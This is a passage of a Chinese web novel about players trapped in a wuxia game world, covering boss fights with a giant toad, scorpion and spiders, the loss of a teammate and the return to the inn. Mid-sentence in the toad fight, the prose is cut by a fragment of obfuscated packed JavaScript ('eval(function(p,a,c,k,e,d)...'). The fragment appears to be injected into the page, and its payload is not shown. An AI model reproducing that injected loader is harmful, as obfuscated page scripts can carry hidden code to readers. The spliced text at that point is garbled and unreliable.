那蟾蜍一蹦一跳来得极快,眨眼间已经到了人影后面,李千驰和兰瑾同时急切喊道:“当心身后!” 他们情急之下也没压低音量,顿时吸引了蟾蜍注意,而那人影也是一愣,当即停下了动作,这下却是误打误撞让蟾蜍转变了方向,朝他们这里跃了过来! “不好!”兰瑾把手里的火把塞给叶九溪,急道,“你还不能移动,我们俩把它引去别的地方,找机会干掉它!” 叶九溪上半身基本已经从蛛丝里挣脱出来了,他接过火把叮嘱两人:“小心点!” 他们说话间,一阵极其刺鼻的猛烈臭味冲来,蟾蜍已经扑到了他们面前。李千驰一声唿哨叫出绿螭骢,上马便朝山谷后面奔去,蟾蜍果然只看得到他,忽视了近在咫尺的叶九溪,跟着他便冲进了白雾之中。 兰瑾刚要起身跟上去,忽然心头一凛,想到那只苟延残喘的黑蛛。这黑蛛善于伏击,还会装死,很是狡猾,而它正是需要进食以恢复体力之际,难保不会杀个回马枪再次偷袭。 叶九溪双腿还被缚住无法移动,很难和它抗衡,他绝对不能留叶九溪一个人在这里,但兰瑾也不知道李千驰身上有多少技能,能不能从蟾蜍的追击下全身而退,一瞬间,竟然是进退两难,眼睁睁地看着李千驰和蟾蜍都消失在浓雾之中了。 对了,还有一个人! 兰瑾回头看去,便看到那人影依旧站在原地,似乎是被擦肩而过的蟾蜍吓懵了。看他们距离似乎也不算太远,兰瑾跟叶九溪说了一声,便匆匆去接应那人。 只是他走到一半,却发觉不对劲,那人不知为何忽然开始东倒西歪起来,简直像是要站立不住,看着似乎是中了毒、摇摇欲坠的样子。兰瑾顿时加快脚步朝那人跑去,只是快接近时又放慢了脚步,心中疑窦丛生。 这人看起来也未免太高太瘦了点。 似是听到他的脚步,那人忽然快速朝他接近,只是动作分外诡异——竟然像是飘过来的。 兰瑾生性谨慎,知道事情有异,当下便停住脚步不再前进。只是叶九溪还在身后,他也不敢再后退,只站在原地屏住呼吸,就看见那人影破雾而出,根本不是什么玩家,而是一只巨蝎高高扬起的尾针! 那巨蝎身体极扁平,只有一条蝎尾粗壮异常,几乎和人一样大小,它又是贴着地爬行,身躯恰好在三人的视线盲区,才会误把它竖直的毒针看成了人影。此时巨蝎从雾中迅速爬出,简直要直直地撞在兰瑾脸上,一股恶臭腥气扑面而来。 兰瑾早有准备,此时虽然被吓了一跳,但也迅速躲过巨蝎的扑击。 和另外两个住在竞技场的人不一样,他还是打过浪客行的,立时便反应过来了,心里暗叫糟糕。 他们遇上的竟然是boss!< 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眼见巨蝎开始移动,兰瑾紧张极了,在心里默念道:“千万别朝叶九溪那里去……” 然而天不遂人愿,巨蝎去的恰恰就是叶九溪那个方向。 “可恶!”兰瑾狠狠一咬牙。他在第一天摸到了清风,后来在客栈又用玉签换了春泥和太阴,太阴指便是他唯一还带点伤害的技能了,但看这巨蝎,浑身披满黝黑甲片,显然不是太阴打得透的。 但眼下也没什么别的办法了,这么想着,他翻身跃起,疾跑几步超过那只巨蝎,回身就是一个太阴! 向后飞快退去的同时,他已经在半空转身落地。好在蝎子虽然喜潮怕干,但它步足的结构却更适合在平坦的沙地上行走,这山谷满是水洼泥地,恰好大大减缓了巨蝎前进的速度。 太阴给他带来了持续八秒的移速增加,兰瑾抓住机会,一气冲回叶九溪身边,叮嘱他几句之后又再度向后跑去。这紫背蝎看起来很是熟悉碧眼蟾蜍的卵的气味,他觉得它们之间的共生关系应当没有改变,必须找到李千驰,将这两个boss拉到一起打,才有赢的可能! 叶九溪眼睁睁看着兰瑾和紫背蝎又消失在白雾之中,自己却还不能动,真是心急如焚。只是那蛛丝甚至透过衣物深深地箍进了他的皮肉之中,他用尽各种办法,甚至拿千叶长生反手去砍,都没有火烧有作用。 “快点、快点……”叶九溪望着舔舐着那奇异蛛丝的火苗,下唇都要被自己给急得咬出血来。这时候他忽然心头一凛,察觉到一股腥气正在逼近,抬头一看,却是那黑蛛果然贼心不死,还惦记着到嘴的食物,鬼鬼祟祟地又摸了回来,正在他头顶的崖壁慢慢向下爬。 叶九溪也是一肚子邪火没处发,看到这黑蛛回来,心里冷笑一声,伸长手臂将火把插远了些,随后装作无知无觉的样子,待在原地一动也不动。 那黑蛛有点智商但不多,还以为这猎物真的无力反抗了,当下就是扑了上来,分开颚叶露出口器就要给叶九溪注入毒素,但它凑近的动作却正好中了叶九溪下怀,他自己又没法行走,还正怕太远了够不着! 眼看那口器要朝他肩膀刺下来,叶九溪猛地拔出泰阿。 游戏中的重剑泰阿长五尺三寸,重六十斤,是天下威道之剑,传说中由欧冶子与干将共铸,可于万军之中取敌首级。这样一把剑在叶九溪手中却有举重若轻之势,眼见泰阿斜劈出去,那剑气纵横,竟然在蛛丝的束缚下也能带着他高高跃起,剑势如山倾海啸,势不可挡,于半空之中重重地劈在那黑蛛背上,仅仅停顿一刹,便势如破竹地砍了下去! 千载孤山信不孤,岂必鹤归识丁令! 黑蛛几乎没来得及挣扎,就被当头劈开。挥出这力逾千钧的鹤归孤山后,叶九溪松开握住剑柄的手,任由自己摔向黑蛛身后,在地上滚了几圈,爬起来呸了两声。 周围的土地基本都被那黑蛛的毒血浸透了,只有他身下这一小圈安然无恙,那是叶九溪在半空中就接上了一式云栖松的结果。 还好闪避生效了,即使不可避免地有零星的几点血溅到他身上,也立刻被驱散。 黑蛛被砍成两截,这下是死得不能再死了,叶九溪看它身下一圈光晕,正是掉落,心里这才舒服了一些,努力撑起身体就要伸手去摸。他目前只有玉泉鱼跃和鹤归孤山两个技能,云栖松是租来的,这是还多亏了他们想到了做香篆钟贩卖的法子,不然小队的玉签绝不够用。 他刚杀了黑蛛,这时正是警惕最松的时候,忽然感觉白雾中劲风一厉,紧接着肩上就是一阵剧痛传来,顿时鲜血淋漓! 有完没完!叶九溪咬牙扭头看去,骇然发现,打中他肩膀的竟然是一条长舌。那碧眼蟾蜍不知何时,竟然无声无息地又从白雾一端杀了个回马枪。它显然是奔着他的脑袋要一击毙命来的,幸好云栖松还剩最后几秒,闪避生效,那长舌只是擦过了他的右肩,但也留下了一道深深的伤口,血流如注,很快便把肩头校服浸湿了。 他刚要停住身形保持静止,忽然隐约想起,有些蟾蜍对特定气味十分敏感,其中便包括鲜血,当即撑住身后黑蛛的尸骸,抬起身子翻了过去,果然,就在他离开原地的同时,碧眼蟾蜍再次吐出长舌,直直地打在了他原来的位置。 肩膀上的伤口一牵扯便剧痛无比,叶九溪咬牙紧贴在黑蛛身下,试图以黑蛛的气息混淆过去。云栖松已经进入了CD,但凡这近在咫尺的碧眼蟾蜍再次发现他,他就基本不可能再躲过去了。 他的心怦怦直跳,想的却不是自己——李千驰和兰瑾不知道怎么样了。 令人心烦意乱的安静之中,只听到碧眼蟾蜍的喉咙咕咕了两声,脚下土地一颤,是它循着气味跳了过来。 现在他们之间只隔着一只被劈开两段的黑蛛,叶九溪甚至能感觉到从背后传来一阵阵刺鼻的恶臭。刹那间,一道凌厉的腥风划过,那长舌不偏不倚,落在了叶九溪脑袋左边偏三寸的位置,却是插进了黑蛛的血肉里,吮吸起来。 蟾蜍没有牙齿,进食全靠吞咽,那淅淅沥沥的声音听得叶九溪毛骨悚然。不过这也间接说明蟾蜍已经放弃了追击他,转而摄取现成的食物。 叶九溪努力回忆着曾经看过的关于蟾蜍的一切,心头缓缓浮起疑问。蟾蜍这种动物只吃活物,通常情况下是不会食用尸体的,这只碧眼蟾蜍先前对装死的黑蛛也是理都不理,但现在却反其道而行之,很是奇怪。他心一横,微微侧头望去,就看见那碧眼蟾蜍的头颅就在离他极近的地方,两只绿油油的巨眼几乎贴在了他头顶! 饶是叶九溪早就做好心理准备,也不免被吓了一跳。他定下心神,屏住呼吸,便看到那碧眼蟾蜍竟然浑身是伤,尤其背上有一道纵贯伤格外明显,还在往外流淌着奇怪的黏液。看形状,赫然正是长枪留下的。 也难怪它一反常态开始进食黑蛛的尸体,原来是元气大伤,急需补充。 叶九溪深吸一口气,先反手悄悄把黑蛛身下的掉落摸了,顿时就是眼前一黑。 怎么是玉虹贯日啊! 倒不是说玉虹贯日不好,但这技能最重要的作用却是追击和打断运功,在PVP面对读条职业的时候很有用,但面对这只碧眼蟾蜍却显得格外鸡肋,甚至最短距离要求是五尺,他如果现在起手对碧眼蟾蜍打一个玉虹贯日,还会因为太近了而发不出招。 他愤怒地想:□□能运什么功?□□功吗? 虽然摸到的是玉虹贯日,但叶九溪并不算特别慌张,因为他还有一个杀手锏捏在手中,那是租来的、只能用一次就报废的风来吴山。腿不能移动也没关系,他可以将奇穴换成层云直接空投,只是泰阿还插在黑蛛另一半尸体的背上,想要在碧眼蟾蜍的眼皮底下拔出来倒是不太可能。 这时,那碧眼蟾蜍忽然收回长舌,转向另一个方向,巨眼圆瞪、鸣囊鼓起,看起来愤怒又恐惧,竟然头也不回地遁入白雾之中逃走了。 叶九溪一愣,就听到身后一阵嘁嘁嚓嚓的响动。 他从黑蛛尸体后探头一看,竟然是紫背蝎爬了过来,而后马蹄声急促,由远至近,李千驰纵马自白雾中跃出。这一蝎一人都杀红了眼,浑身是伤,李千驰的银甲基本已经被鲜血染红,而紫背蝎背上则一直汩汩流淌着透明的液体。 看到李千驰,叶九溪心里就是一松,他抓住机会撑起身体,一把够到泰阿剑柄,全然不管肩上深可见骨的伤口,咬牙拔出重剑。他这一动,却暴露在了巨蝎视野中,它也知道柿子捡软的捏,身体一横,尾针竟然以不可思议的角度倒转过来,就要扎向叶九溪! “找死!”李千驰怒喝道,枪如奔雷,势如闪电,长枪突来,枪尖直直地撞在那如钢铁般坚硬的尾针上,将毒刺撞得歪向一边,而叶九溪也已经拔出泰阿,忍住撕裂般的疼痛,层云风车脱手而出,直逼巨蝎! 那巨蝎死到临头,却是更加狂性大发,举起两只螯钳就要迎上来。但风来吴山威力何其巨大?那两只螯钳根本拦不住泰阿的威势,被齐齐斩断,而紫背蝎也被掀翻了过去,倒在一边,没了动静,泰阿也飞转回叶九溪脚边,被他重新背回身上。 这一切都在电光石火之间发生,所有行动都是在考验本能,可谓惊险至极。李千驰撑住膝盖无声地喘了两口气才直起身体,感觉早就习惯了的铠甲重量此时竟然压得他步履维艰。然而,他刚往叶九溪那里走了两步,忽然就看到本以为已经死了的巨蝎突然无声无息地扬起尾针,对着叶九溪当头刺下! “九溪!”李千驰大吼道,枪一横便要冲过去。 只是刚刚挡住巨蝎那一击时他便用了突这个技能,现在CD没过,竟无法立时赶到。好在叶九溪也是反应速度极快,听到李千驰喊他,知道情况有异,立刻用千叶长生在黑蛛尸侧用力刺下,整个人借力强行将身体翻转过来,只听一阵令人头皮发麻的巨响,毒针刺在了他背后的重剑上,硬是被弹开了,那毒针硬得惊人,竟然火花四溅。 但这样一来,轻剑也深深地陷入了黑蛛的身体之中,再加上仍未挣脱腿上的蛛丝,眼看着巨蝎一击不中、再度扬起毒针,叶九溪已经是避无可避。 那卷曲的尾端高高扬起,带着锐利的破空声,重重落下! 就在这个时候,一柄长枪以电光石火之势刺出,枪尖携万钧之力,撞开毒针,重重地刺进了巨蝎坚硬的外壳之中! 李千驰眼神狠厉,长枪将不停翻滚挣扎的巨蝎死死地钉在地上,同时闷哼一声。 唇角流下血来,被他随手抹去,在脸上留下几道鲜红的痕迹。 这是天策的第二个突进:奔雷枪术——灭! 人神共怒,天地同伤! 巨蝎疯狂地抽动着尾巴,几对螯足胡乱挥舞,土块飞溅,将身下刨出几个触目惊心的深坑,流出的黑绿色毒血几乎瞬间让周围的草蔓全部枯萎。但长枪已经将它完全穿透,不多时,巨蝎挣扎的幅度就慢慢地变小了,最后抽搐几下后,它这才彻底地死去了。 李千驰拔出长枪,没有丝毫犹豫,再度刺下! 再拔、再刺! 直到巨蝎坚硬的背甲已经基本被碾成一团烂泥、真是死得不能再死了之后,他才收了枪,踉跄几步,拔了他们之前插在地上的火把,来帮叶九溪烧断蛛丝,也许是黑蛛已死的原因,那现在蛛丝却是好烧了很多。 先前的情况太过凶险,叶九溪还未完全从之前的情绪中定下神来,不由生出一种劫后余生的庆幸感,慢慢地从小队背包里取出了绷带和凝血精。 李千驰却异常沉默,眼看着蛛丝已经在火焰的作用下扭曲萎缩、变成灰絮,他才将火把往地上一插,翻身靠在了叶九溪旁边。 他的呼吸十分急促。灭在给敌方造成大量伤害的同时,也会对自身造成伤害,叶九溪不知道浪客行里的灭是否和游戏中相同,但看李千驰的样子,显然也是伤得不轻。 “你还好么?”他问,“兰瑾呢?” 李千驰转头看了他一眼,那一眼看得叶九溪心里一颤。 他从来没见过李千驰露出这样的眼神,一颗心顿时沉了下去。 “我没看到兰瑾。”李千驰说,嗓音沙哑,眼睛黑漆漆的,一派死寂,“没看到他。” 11. 第二天·绥梦山(十一) “轰!” 随着一阵沉闷的巨响,巨蛛狠狠地撞上洞窟一侧的石壁又摔了下来,几对螯肢无力地向周围散开,不动了。 亓秀秀神色冰冷地收回双剑。 她越想越愤怒,恨恨地抬手擦去落在颊边的泪水,心里只想着再将它电个千八百遍也不够解恨。 这巨蛛只是看着唬人,实际上却没那么危险,她与裴洛川一人吸引巨蛛注意,一人边打边控,很快就将它结果了,但就是这种东西,趁着他们受伤中毒被绥梦山拉入幻境之中,竟然……竟然…… 洞窟另一边,裴洛川单膝跪地,正在收殓那些还未完全被化去的、散落的衣物,将它们与已经失去了主人的门派武器一起,埋入土中。 饶是他性格镇静,此时也忍不住双手微微颤抖,几度想扭过头,不忍再看。 这洞窟里除了他们竟然还有五六个人,但此时却只剩下他们了。蜘蛛进食的方式何其残酷,那些血肉被融化了生生抽出,只留下残余着看不出什么组织的皮囊,被衣物包裹着。 那干瘪而沉重的,就是一个人的一生。 说这景象是人间地狱也毫不为过,但他心里并没有太多恐惧,只有无处发泄的愤怒和悲伤,还有深深的茫然。 他身后,亓秀秀慢慢地走过来,裴洛川回过神,伸手想拦她:“等等,别过来——” “我看见了。”亓秀秀摇摇头,说。她的嗓音格外嘶哑,好像说出这几句话就已经用了很大的力气:“我看见……那蜘蛛停在她面前……” “秀秀!别想了!”裴洛川按住她的肩膀,从亓秀秀蒙了一层水雾的眼中看到了他自己的模样,他们脸上有着如出一辙的惊惶,好像翅膀还不会扇动的幼鸟被残忍地赶出了巢穴,完全不知道何去何从。 脑海中电光一闪,他猛然说:“对了!还有方叱羽、李千驰和叶九溪!我们得快去找他们!” 听到队友的名字,亓秀秀的眼中才有了些神采,点了点头。她的性格已经比裴洛川预想的要坚毅很多了,面对如此惨状,依然和他一起掬起土,安葬了那些衣物和武器。 做好这些之后,裴洛川便从小队背包里将那只特大号香篆钟取了出来。 “我们可以试试用这个来给他们传递消息。”他道,“在幻境里小队背包也可以用,在这上面留点提示,他们很可能就看到了。” 亓秀秀便打开防风盖,用手指蘸了点香灰。 她刚要在上面留下字,却听见巨蛛尸体那里传来了窸窸窣窣的响声。 裴洛川也听到了,两人对视一眼,就看到那巨蛛尸体下明明连掉落光圈都出现了,显然是不可能再死而复生,但那窸窸窣窣的声音却越来越清晰。 紧接着,在他们的注视中,那巨蛛的脊背后半忽然高高隆起,黑色的外壳下像沸水一样冒出无数浑圆的凸起,此起彼伏,速度极快,看得人毛骨悚然。不过短短几秒钟时间,巨蛛的后背竟然完全裂开,从中露出灰白色的一排排圆球,随即圆球也像蛋壳破碎一样散开了,一对对毛茸茸的螯肢从里面探出,这竟然是一只已经完全孵化了的蜘蛛卵泡,数不清的密密麻麻的小蜘蛛从里面钻出来,各个都有足球大小,但螯肢已经十分锋利,扑到母体上就是一顿疯狂啃噬! 原来这巨蛛竟然是一只带崽的母蜘蛛! 最恐怖的是,这些孵化了的小蜘蛛长得极快,身形几乎是以肉眼可见的速度撑开,呼吸之间,有些吃得快的已经长到了成人半身那么高。它们并不满足于啃噬母体的尸身,又朝两人扑来,亓秀秀仅仅草草写了半个“驱”就不得不将香篆钟放回去,裴洛川拉起她,两个人往洞口方向就是一阵狂奔! 无他,那小蜘蛛的数量实在是太多了,要是每一只都能长成母体那么大,难保他们一进入绥梦山就遭遇蛛海袭击的噩梦不会再上演一次。 路过那巨蛛尸体时,两个人十分有默契地伸手一捞。 “摸到了吗?”裴洛川摸了个空,立刻问亓秀秀。 “摸到了摸到了!”亓秀秀急急答道,但紧接着就惊呼一声,“当心!” 原来他们已经冲出洞穴,但却脚下一空,直直地掉了下去。两人这才看清,这洞穴的开口竟然是在河谷两侧的悬崖峭壁之上,旁边有生在半山的林木掩映,根本发觉不了是悬空的,原来他们已经被那巨蛛拖出河谷,拖回了自己的老巢之中。 好在裴洛川反应极快,一手抓住亓秀秀,另一手已经抛起璃光浮远,一式太阴指向后疾退,翩然落在一旁一棵斜生的老松树上。这时候,他们才看到脚下竟然是白雾弥漫的万丈深渊,让人看一眼就腿脚发软、胆寒心裂。 “这树撑得住,咱们慢慢地靠近崖壁,幅度别太大。”裴洛川冷静道,然而他们才刚小心翼翼地在这老松树上挪了两步,就看见那群小蜘蛛从洞口涌出,一只只竟然直接在岩壁上向他们迅速爬来! ——不,它们已经和“小”不沾边了,仅仅比初次袭击他们的那群蜘蛛小一圈儿而已。 “秀秀,你还有没有控!”这下也顾不得什么慢慢走了,裴洛川矮下身子四处一张望,便看到他们脚下不远处还有另外一棵树,这段距离在平地上倒算不得多远,但放在悬崖峭壁之间,看着就非常可怖,令人倍觉心苦。 “有帝骖!”亓秀秀喊道,“四十秒一个,先跳!” 两人对视一眼,眼看游走得快的蜘蛛已经冲到八尺之内了,亓秀秀抬手便帝骖了一片,恰好让它们拦在了树根,后面的蜘蛛一时也挤不过来。他们抓紧机会从这棵老松树上起跳,只觉得猎猎风声自耳边划过,眼前风景剧变,便撞向了另一棵树。 那棵树极危险地往下弯了一截,好在他们两人身形都轻盈灵活,总算是接住了没断。 那些蜘蛛不肯放弃,在后面穷追不舍,两个人没办法,只能依样画葫芦,看准了脚下的其他老树,再跳过去。 行走在这样的峭壁上,真是一颗心提在喉咙眼,稍有不慎就会掉下去摔个粉身碎骨。眼看那弥漫在山谷里的白雾离两人越来越近,显然他们在不知不觉间已经下跳了很大一段距离,再往下的路却是怎么也看不清了,而蜘蛛却还在身后穷追不舍。 “没办法了,打吧。”亓秀秀说,眼神凌厉,“还好我们都是远程。在这样的悬崖上,蜘蛛也未必就比我们有优势。” 裴洛川微一颔首,无需多言,已做好应战准备。只是他手里唯一的攻击技能却是玉石俱焚,没有三毒,伤害就不算太高。多亏叶九溪先前想出了那个香篆钟的法子,让他们手头多了些结余的玉签,他临行时便租用了商阳指,轮到兰摧玉折和钟灵毓秀时,又已囊中羞涩;即使是商阳指,使用次数也只有三次。 他默默地将玉石俱焚的奇穴换成了定式黑白,玩群攻。 至于亓秀秀,她的攻击技能是剑影留痕,只能单点。先前她打那巨蛛的时候还在心里想着好剑影,现在面对这些蛛子蛛孙,只恨不得从兜里掏出一个剑破虚空来,可惜没有。 裴洛川有群攻,亓秀秀没有;但亓秀秀的双剑可以随心作战,但裴洛川却没法挥着笔杆揍蜘蛛——一瞬间也不知道是哪个人更惨一点。 那些蜘蛛来得极快,转眼间便已经纷纷涌上了树,这棵老树本来便已经承受了两个人的重量,此刻又多了一群蜘蛛,顿时晃得很危险。两人对视一眼,心里都明白,真正的威胁可能还不是这群蜘蛛,而是脚下不知道什么时候会断的树。 “秀秀。”裴洛川引爆纵横的黑白棋盘,忽然说,“你打过台球么?” “什么?”亓秀秀一愣,但很快明白了他的意思,眼神一凛,“知道了!” 她停手放了几只蜘蛛让它们近身八尺、通通控住,调整角度,以剑影留痕推击被定在最前面那只,顿时这群蜘蛛就互相撞在一起咕噜噜向后滚去,还堵住了更多蜘蛛涌来的路,一时间不少蜘蛛没来得及吐丝攀住岩壁,竟然就掉了下去。 裴洛川也没想到这招这么管用:“……原来是保龄球。” 那掉下去的蜘蛛还会纷纷再爬上来,他们也不知道打了多久,两个人身上都是新伤叠旧伤,驱散蛛毒的清风垂露几乎没断过。其实真正的压力不在那些蜘蛛,反而来自脚下缥缈不知深浅的白雾,一般人只需站在没有保护的高空就已经腿软脚软、几欲昏厥,他们却必须在仅仅几掌宽的老树上搏杀。 裴洛川的商阳指早就用完被回收了,现在单纯靠着玉石和炸棋的伤害输出。打着打着,他突然“咦”了一声。 “爬上来的蜘蛛越来越少了。” 的确如此,亓秀秀也感觉压力轻了不少。再看那些攀在崖壁上的蜘蛛,行为也很怪异,它们好像不再特别执着于捕猎两人了,有些蜘蛛掉头向洞穴爬回,而更多蜘蛛则成群结队吐出丝让自己晃晃悠悠地坠了下去。 看着它们的动作,亓秀秀突然眼睛一亮。 “快,跳到那些蜘蛛的背上,让它们带咱们下去!” 这真是个极为大胆的想法,裴洛川不禁咋舌。但他们此刻身在峭壁之上,实在也看不见更多的落脚之处了,队友还生死未卜,也不能再耽搁时间。 干脆拼一把算了。 要是有别的出路,两人也决不会冒这种险。当下他们也不再多话,顺着老树跑向峭壁。眼看坠下去的蜘蛛越来越多,各自选了一只离得近的便跃了上去。那蜘蛛倒也奇怪,之前还一副要赶尽杀绝的样子,现在却对他们的行为不理不睬,似乎只顾着要落到地面。 它们的背部长满了粗砺的刚毛,也没个能扶住的地方,而蜘蛛又是以一根长长蛛丝来维系自身的,下坠过程中难免晃晃悠悠,看起来倒像是腾云驾雾一般,只是人在上面颠颠倒倒、心惊胆战,才没有什么腾云驾雾的闲情逸致。 这可比什么云霄飞车都要刺激得多,裴洛川只觉得自己就好像断线风筝,随时有可能被甩飞出去。 结果他这念头才刚一生出,突然就看到亓秀秀脚下那蜘蛛在峭壁突出的一块岩石上撞了一下,蛛丝竟然被拉断了。虽然那蜘蛛很快继续吐丝下坠,但亓秀秀却已经摔了下来。 裴洛川一惊,却看见她在半空中极轻盈极柔软地一旋身,花瓣一样的裙袖纷飞,足尖轻点,竟然踩着这满峭壁的蜘蛛、如蜻蜓点水般又往上跃了一段,才在一只看起来比较壮实的蜘蛛背上停下。 对上裴洛川的视线,亓秀秀也有几分后怕,道:“水榭花盈,刚在那山洞里捡的,就用上了。” “好踩头。”裴洛川说,松了口气。 蜘蛛们继续下落,这悬崖却是高得离谱,显然地图又被拓展过了。两人耳畔气流呼呼作响,石子崩飞、风划得脸上生疼,这种经历看起来很帅,但自己身在其中才知道有多么心惊胆战。 他们正“飞檐走壁”时,亓秀秀却忽然说:“其实我以前看过一些关于蜘蛛的百科,母蜘蛛在抱卵的时候为了保证小蜘蛛的安危,是不会外出捕猎的,甚至直接绝食。” 这关头聊聊天,倒也能减缓心中不安,裴洛川略一思索:“你的意思是,要么这只巨蛛与众不同,要么我们这些……‘食物’,并不是它自己准备的?” 亓秀秀点点头:“这里很可能还有一只同样的巨蛛,甚至有可能是公蜘蛛。一般来说□□过后母蜘蛛会吃掉公蜘蛛,就是所谓的‘性食同类’的现象,但事实上公蜘蛛都会在□□过后立刻选择离开,除了特别品种的母蜘蛛会在□□过程中就开始麻痹公蜘蛛的神经,大部分公蜘蛛都能够逃脱……” 说到最后,她却吃了一嘴的风,皱起眉头。 “的确,蜘蛛是一种具有社会性的动物。”裴洛川颔首,“也就是说,很有可能是某只公蜘蛛在给母蜘蛛准备食物……那我们要当心了,之前就是在河谷撞上蜘蛛网的,现在也依然有概率会撞见它。” 两个人说话间,忽然感觉身下一震,白雾中露出土石嶙峋的山壁来,却是蜘蛛们纷纷自断蛛丝,不管不顾地冲了下去,在半途就甩掉了亓秀秀和裴洛川。 眼看这里离地面还有十几米,两人只能护住头面一路滑了下去,其间免不了被风化裸露的岩石和草木在身上划出大大小小不少伤口,却总算是全头全尾地踏上了地面。 直到这个时候,他们才长长地出了口气,虽然感觉腿脚酸软、全身疼痛,心中却是轻松了不少。 还是脚踏实地的感觉舒服。 紧接着,二人就明白那些蜘蛛为何前仆后继地冲了下来。只见那白雾深处赫然有一只巨大的蟾蜍,在和蜘蛛缠斗。 那些从崖壁上跳下来的蜘蛛数量虽多,但速度和力量都差一截,而这只巨蟾应该已经吞食了不少蜘蛛,腹部已经鼓鼓囊囊,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“后退!”裴洛川心知不好,连忙叫道,就看到那蟾蜍背上的疣粒忽然齐齐膨胀,紧接着突然爆炸开来,从中飞溅出无数黄黄白白的脓液,离得最近的蜘蛛接触到那脓液,竟然瞬间就化作了一团脓水! 这变故不过在一眨眼间发生,即使裴洛川和亓秀秀早有准备,但却万万没料到脓液毒性如此恐怖,即使已经向后疾退,也抵不过脓液喷来的速度。以那样的毒性,只怕裴洛川还来不及放出清风垂露,他们就会先化作一滩血水! 说时迟那时快,正当两人骇然之际,天上忽然传来一声高昂雕鸣,一只金爪黑羽的海雕斜冲下来,巨大的翅膀掀起一道盾一样的风墙,将那些脓液纷纷挡在了外面,而置身于雕翼的庇护之下,他们顿时便感觉浑身伤痛忽然变得轻松了不少。 仙舆带起流风分开白雾,方叱羽持伞翩然落地。 三人对视,一时间竟然都哽住了。分开还不过一天,此时再次相见,却百感交集,恍如隔世。 “好……”裴洛川停住,清了清酸涩的嗓子才继续说,“好鸟盾。” 方叱羽用力地锤了锤他的肩膀。 他们再看外面,侥幸活下来的蜘蛛早就逃得不见踪影,而那蟾蜍自爆了毒腺,已经死了。裴洛川去摸了掉落,这次的掉落是快雪时晴,有些花间会专门玩以这个技能为核心的流派套路,是一个很有用的群攻。 慢慢的,弥漫在整条河谷中的白雾开始退去,露出远处蜿蜒的溪流和两岸峻峭的崖壁。在前方山顶的吊桥边上,赫然出现了一堆篝火,头戴斗笠的蒋玉凤站在那里,身后是一顶低矮的帐篷。 营地出现了。 就这么……结束了? 他们还在凝望之际,却看到蒋玉凤身后还有两个人,身形格外熟悉,正是互相搀扶着的李千驰和叶九溪,亓秀秀眼睛一眨,眼泪就控制不住地涌了出来。 疾夜清鸣一声,伸出双爪让裴洛川和亓秀秀抓住,方叱羽翻身坐上它的脊背。雕兄航空因为超载而变得慢慢悠悠,他们遥遥对视着,直到落在营地。 终于又聚在一起了。 一片沉默中,方叱羽首先张开双臂,随后大家都挤了上来,抱成了有点滑稽的一团。太多复杂的情绪交织在一起,狂喜、悲伤、愤怒、庆幸、不甘……这些情绪翻涌上来,使喉头酸痛而哽咽,谁也没办法开口说话,只能感觉到彼此紧挨着的肩背传来控制不住的颤栗。 大概过了很久很久,他们的情绪才平复下来。 裴洛川看向众人,在初遇时的惊喜褪去之后,每个人都露出了掩饰不住的疲惫和低沉,他莫名地就想到了一句诗。 尘满面,鬓如霜。 他们各自讲了讲分散之后的经历,其中生死一线的那种惊险,虽然仅凭言语难以详述,但众人都能够感同身受,一时心情更为酸涩。听李千驰和叶九溪说,他们正在寻找之前遇到的一个花间,偶然走到了营地,这才觉察到不知不觉间一天已经结束,只是因为白雾弥漫,身在山下的他们才始终没有发现。 可惜他们拖着伤体山下山上来来回回找了个遍,也始终没能找到兰瑾。 叶九溪还抱有一线希望,问蒋玉凤:“在我们之前,有队伍已经回客栈了吗?” 蒋玉凤微笑着摇摇头,例行公事般道:“恭喜你们完成了一段旅程,这是你们的第二天,江湖轻功已经解锁。接下来,我将送你们前往有间客栈进行休息,我会在那里的终点处等待你们继续启程。” “……”李千驰向一边扭过头去。 蒋玉凤似乎并不关心他们的悲欢,只是继续询问道:“要现在动身前往有间客栈吗?侠士们在有间客栈停留的时长由小队自行决定,但上限为二十四时辰,超时则强制进入下一天,在客栈停留的时长不计入侠士们的通关天数中。” 第二天的休息时间多了一天,但几人都不怎么关心。 裴洛川沉声道:“再等等吧。” 也许还会有队伍过来。 站着也很累了,他们挨在一起,坐在营地前面,看着河谷发呆。有碧绿的流萤从河对面飘来,撞上岸边虬劲的枯枝,散落成微渺的光点,消失在空中。 一直到金乌西斜,天色将暮,也没有第二个人来到营地了。 蒋玉凤依然和善地微笑着,手上转动着烤串,一如既往地问道:“要现在动身前往有间客栈吗?” “对。”一片沉默中,方叱羽开口代替大家回答。 进入绥梦山的三只队伍,最终只有他们踏上了回客栈的路。 五人的身影渐渐消失,裴洛川最后回望了一眼,这张地图安静而空寂,只剩满山随风摇曳的苍绿草木和淙淙流淌的溪流。之前的种种,宛如一场大梦,梦醒后唯有日薄西山,长风寂寂。 英风一去更无言,白骨沉埋暮山碧。 《第二天·绥梦山》完 12. 第二天·奖励关卡(十二) “是‘蓬莱哪里得罪你们了为什么要被分到这一’队。” 赵云睿轻摇扇子提示道,看方叱羽划去写错的四五个答案,在纸上重新写下自己的队名,微微一笑:“好,你们是最后一支回来的队伍,辛苦了,早些休息吧。” 无论之前受了多么重的伤都能在赵云睿这里得到恢复,但是亓秀秀依然觉得自己很疲惫,那种疲惫是来自于心里的。 她跟着队友们,慢慢走回大堂,找了张空桌子坐下。 客栈大堂还是那样,稍远一点的地方就模糊不清,完全隔绝玩家们彼此之间的窥探,所以根本看不出少了多少人,但气氛已经和第一天完全不同了。 那时候玩家们全员通关,刚到客栈,还保留着一丝新奇与激动,即使在互相打量、暗自揣测,也是神采奕奕的,但现在大多数人都面露疲倦,目光好像燃烧过的一堆灰烬,没有半点余温。 当然也有例外,比如他们旁边的那只队伍。 “换都换了,快戴上吧。”一个不知道是什么的玩意儿说,他的头上套了一只非常醒目的黄鸡大笑玩偶,看校服可能是个刀宗,“不然不是白白浪费了十玉签。” 像他这样的黄鸡大笑还有另外三个,他们队唯一正常的药宗姑娘表情挣扎:“不行不行,真的太丢人了!非姐,为什么你也戴上了?” 穿着苍云校服的黄鸡大笑沉稳道:“和他们坐在一起,露脸更丢人……” 药宗姑娘迅速被说服,戴上了那个黄鸡大笑玩偶。 五个黄鸡大笑排排坐,三个昂首挺胸,两个看起来似乎想要原地蒸发,这本来应该是很好笑的一幕,裴洛川也觉得很好笑,但就是笑不出来,看看其他队友,差不多也是这样的表情。 